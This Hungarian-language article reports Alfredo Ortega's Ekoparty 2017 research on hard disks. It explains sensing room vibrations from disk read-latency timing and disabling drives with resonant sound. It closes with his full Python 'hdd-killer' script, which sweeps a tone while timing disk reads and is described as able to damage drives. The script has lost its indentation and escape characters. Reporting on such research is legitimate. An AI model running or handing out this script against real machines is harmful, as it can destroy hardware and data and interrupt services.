A Buenos Aires-i Ekoparty 2017 számítógép-biztonsági konferencián az argentin hacker, Alfredo Ortega egy nagyon érdekes fejlesztést mutatott be – egy rendszert a helyiségek titkos lehallgatására mikrofon nélkül. Hang
A HDD főleg nagy intenzitású, alacsony frekvenciájú hangokat, lépéseket és egyéb rezgéseket érzékel. Az emberi beszédet még nem lehet felismerni, bár a tudósok
A hang a levegő vagy más közeg rezgése. Az ember a dobhártyán keresztül érzékeli őket, amely rezgéseket továbbít a belső fülbe. A mikrofon nagyjából fülhöz hasonló - itt is egy vékony membrán rögzíti a rezgéseket, ami elektromos impulzust gerjeszt. A merevlemez természetesen mikroszkopikus rezgéseknek is kitéve a környező levegő ingadozása miatt. Ez már a HDD-k műszaki jellemzőiből is ismert: a gyártók általában feltüntetik a maximálisan megengedett rezgésszintet, és sokszor maga a merevlemez igyekszik egy gumiból vagy más szigetelőanyagból készült rezgésálló tartályba helyezni. Ebből könnyen levonható a következtetés, hogy HDD-vel is rögzíthetők hangok. Már csak azt kell kitalálni, hogyan.
Alfredo Ortega az oldalcsatornás támadás egy egyedi változatát javasolta, nevezetesen az időtámadást. Ez a támadás azon a feltételezésen alapul, hogy a megadott bemeneti adatoktól függően különböző műveleteket hajtanak végre az eszközön különböző időpontokban. Ebben az esetben a „bemeneti adat” az olvasófej és a HDD tányér rezgései, amelyek korrelálnak a környezet rezgéseivel, vagyis a hanggal. Így a számítási idő mérésével és az adatok statisztikai elemzésével mérhető a fej/tányér rezgései és ezáltal a közeg rezgései. Minél hosszabb az adatok beolvasásának késleltetése, annál erősebbek a HDD rezgései, és így annál hangosabb a hang.
Hogyan mérjük a merevlemez rezgését? Nagyon egyszerű: csak futtassa a rendszerhívást read ()
– és rögzítse a befejezéshez szükséges időt. A modern operációs rendszerek lehetővé teszik a rendszerhívások időzítésének nanoszekundumos pontosságú olvasását.
A szektorból származó információk beolvasásának sebessége a fej és a tányér helyzetétől függ, ami korrelál a HDD ház rezgéseivel. Ez minden.
A statisztikai elemzés egy egyszerű Kscope segédprogrammal történik. Ahogy mondani szokás, minden zseniális egyszerű.
Kscope segédprogram (stat() syscall)
A Kscope egy kis segédprogram a rendszerhívások végrehajtási idejének apró különbségeinek megjelenítésére. Forrás
Külön tárolóban read ()
.
Hangrögzítés bemutatása HDD segítségével, a Kscope segédprogram működése
Természetesen a beszédet így nem lehet megérteni, de a merevlemez nagyon alkalmas rezgésérzékelőnek. Például regisztrálhat, ha egy kemény cipőben vagy mezítláb viselő személy számítógéppel lépett be egy szobába (valószínűleg, ha a támadó puha cipőt visel, vagy vastag szőnyeg van a padlón, a HDD nem tudja regisztrálni a rezgéseket - ezt érdemes megnézni). A számítógép képes rögzíteni az üvegtörést vagy más, erős hangintenzitású eseményeket. Vagyis a merevlemez egyfajta jogosulatlan behatolás-érzékelő rendszerként szolgálhat.
HDD gyilkos
Egyébként hasonló technikával lehet letiltani a merevlemezeket. Csak itt nem távolítjuk el az oszcillációkat a HDD-ről, hanem éppen ellenkezőleg, generálunk olyan rezgéseket, amelyeket a HDD-re táplálunk. Ha a hangszóróból olyan frekvencián játszik le hangot, amely rezonál a HDD frekvenciájával, a rendszer hamarosan kikapcsolja az eszközt I/O hibával (a Linux kernel 120 másodperc után teljesen kikapcsolja a HDD-t). A merevlemez visszafordíthatatlan károsodást szenvedhet.
A Linux kernel kikapcsolta a merevlemezt, miután 120 másodpercig rezonanciafrekvenciás hangot adott az Edifier r19u USB hangszóró hangszóróján keresztül. A hangszóró a teljesítmény körülbelül egynegyedével van bekapcsolva (kevesebb, mint 100 mW), és 20 cm-re található a HDD-től, és az asztal felé irányul, hogy fokozza a rezgéseket. Keret innen
Érdekes, hogy a HDD-k ilyen „támadásai” néha teljesen véletlenül fordulnak elő a mindennapi életben. Például 2016 szeptemberében az ING Bank adatközpontja kénytelen volt 10 órára felfüggeszteni működését egy tűzoltógyakorlat után.
Emberi üvöltözés bemutatása a merevlemezeken egy adatközpontban. Latencia mérése
A rezonáló hang generálásához Alfredo Ortega írt egy Python szkriptet
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Forrás: will.com